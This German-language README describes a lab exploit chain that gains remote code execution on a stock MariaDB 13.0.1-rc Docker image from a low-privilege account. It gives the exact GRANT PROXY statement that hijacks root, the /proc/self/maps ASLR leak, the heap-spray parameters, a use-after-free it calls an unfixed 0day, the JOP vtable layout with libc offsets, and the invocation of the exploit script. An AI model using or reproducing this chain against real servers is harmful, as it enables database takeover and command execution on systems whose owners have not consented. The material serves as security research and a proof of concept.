MariaDB 13.0.1-rc RCE-Labor

Remote-Codeausführung auf dem unveränderten, Standard-MariaDB-13.0.1-rc-Docker-Image als uid 999 (mysql).

Zwei Exploit-Varianten:

Getestet und nachgewiesen auf: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 Läufe, jeweils mit frischen ASLR-Basen).

Pure-SQL-Angriffsmodell (exploit_pure_sql.py)

Der Angreifer besitzt nur:

• ein reines USAGE-MariaDB-Konto (der lowpriv-Benutzer aus Compose) + dessen Passwort, und
• TCP-Erreichbarkeit von Port 3306.

Die gesamte Kette wird als SQL-Anweisungen ausgeführt; kein Host-seitiger Prozesszugriff, keine Docker-Befehle, keine bekannten Adressen. Jede Laufzeitadresse wird über SQL vom Ziel selbst ermittelt:

1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

Die einzigen verbleibenden Nicht-SQL-Operationen sind Post-Exploit-Nachbereitung: Neustart des (bereits abgestürzten) Containers und Anzeigen der Markierungsdatei – sie sind nicht Teil der Ausnutzung.

Ersetzen der alten Host-seitigen Helfer

Verwendung (reines SQL)

# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Erfordert nur einen mariadb/mysql-Client und Python 3. --container wird für die abschließende Marker-Anzeige (Neustart + cat) verwendet und kann entfallen, wenn der Marker auf andere Weise überprüft wird.

Erwartetes Ende der Ausgabe:

[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Schwachstellenkette (beide Varianten)

1. F-09 – Privilegieneskalation (beliebiger Benutzer → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' umgeht alle Privilegienprüfungen. Die leere Authentifizierungsklausel lässt LEX_USER::has_auth() false zurückgeben (wodurch check_alter_user() übersprungen wird), während replace_user_table() weiterhin das leere Passwort anwendet – und damit die Anmeldedaten von root ersetzt. Eine SQL-Anweisung, jeder authentifizierte Benutzer, jede veröffentlichte MariaDB-Version.

2. ASLR-Überwindung über /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' liest das vollständige Speicherlayout des mariadbd-Prozesses aus SQL heraus und offenbart die PIE-Basis- und libc-Basisadressen. Funktioniert mit secure_file_priv = NULL (nicht gesetzt) auf dem Standard-Image.

3. F-05 – SYS_REFCURSOR-Use-after-Free (0day, upstream ungefixt)

sp_cursor_array::get_cursor_by_ref() gibt einen internen Zeiger auf ein Dynamic_array zurück, dessen zugrunde liegender Speicher bei Wachstum durch my_realloc verschoben wird. Wenn die open()-Methode eines Cursors angreiferkontrolliertes SQL ausführt, das zusätzliche Cursor öffnet, wächst das Array, der alte Speicher wird freigegeben, und der zwischengespeicherte Zeiger des Aufrufers wird zu einem hängenden Zeiger.

Der freigegebene Block (16 Cursor × 112 Bytes = 1792 Bytes) wird durch einen Heap-Spray aus 128 Benutzervariablen-Kopien mit je 1784 Bytes zurückerobert (exakt passend für den glibc-Chunk). Das Spray-Payload platziert einen kontrollierten Vtable-Zeiger bei Offset 0x20 (das result-Mitglied von sp_cursor), der anschließend für den virtuellen Dispatch verwendet wird:

Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP-Kette → system()

Zwei JOP-Gadgets aus dem Standard-mariadbd-Binary (kein ROP, kein Stack-Pivot):

Die gefälschte Vtable V lebt im 128-MiB-Puffer; Layout:

V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. Der Pure-SQL-Adressfindungs-Trick (neu)

Das Henne-Ei-Problem, selbstreferenzielle JOP-Daten zu schreiben, bevor man die Pufferadresse kennt, wird durch das mmap-Verhalten von glibc gelöst:

1. einen 128-MiB-Markerpuffer allokieren → dedizierte mmap-Region (0x8001000, Daten bei Region+0x30) → Adresse über /proc/self/maps-Diff ermitteln
2. den Puffer mit dem vollständigen Layout neu allokieren (Selbstreferenz = V+0x140) → glibc führt munmap auf den alten Block aus und nutzt denselben Slot erneut → Adresse stabil
3. jeder Schritt wird durch erneutes Lesen von /proc/self/maps verifiziert; falls sich die Adresse je bewegt, wird die Selbstreferenz neu eingebrannt und der Schreibvorgang wiederholt (konvergiert in der Praxis in einer Iteration)

Host-gestützte Variante (exploit.py)

Gleiche Kette, aber das JOP-Layout wird über /proc/<pid>/mem vom Docker-Host aus in den Prozess geschrieben (Root erforderlich), das Payload-Skript wird über docker exec erstellt, und die Verbindung erfolgt mit dem Root-Passwort aus der Compose-Datei. Als historischer PoC beibehalten; die Pure-SQL-Variante ersetzt ihn.

Hinweise

• Der F-05-SYS_REFCURSOR-UAF ist upstream Stand 2026-08-03 ungefixt (null Commits an sql/sp_cursor.{cc,h} zwischen dem 13.0.1-Tag und HEAD).
• Der Fix für die F-09-Privilegieneskalation (dbd60d0ad8d, MDEV-40470) befindet sich auf Dev-Branches, fehlt jedoch in jeder veröffentlichten Version (verifiziert für 13.0.1 bis 10.6.27).
• 128 MiB wurde gewählt, weil die dynamische mmap-Schwelle von glibc nach großen Freigaben über 4 MiB hinauswachsen kann; 128 MiB erhalten zuverlässig eine dedizierte mmap-Region (verifiziert für 128 und 256 MiB; eine Größe, die größer als max_allowed_packet ist, schlägt fehl, daher wird zuerst SET GLOBAL max_allowed_packet erhöht und eine neue Verbindung verwendet).
• Der Daten-Offset innerhalb der mmap-Region beträgt auf diesem Image/glibc +0x30 (über mehrere Läufe verifiziert; DATA_OFF aktualisieren, falls er je abweicht).

Gefunden mit

• RAPTOR — Autonomes Offensiv-/Defensiv-Forschungsframework
• raptor-loop-hunt — Plugin für iterative Schwachstellensuche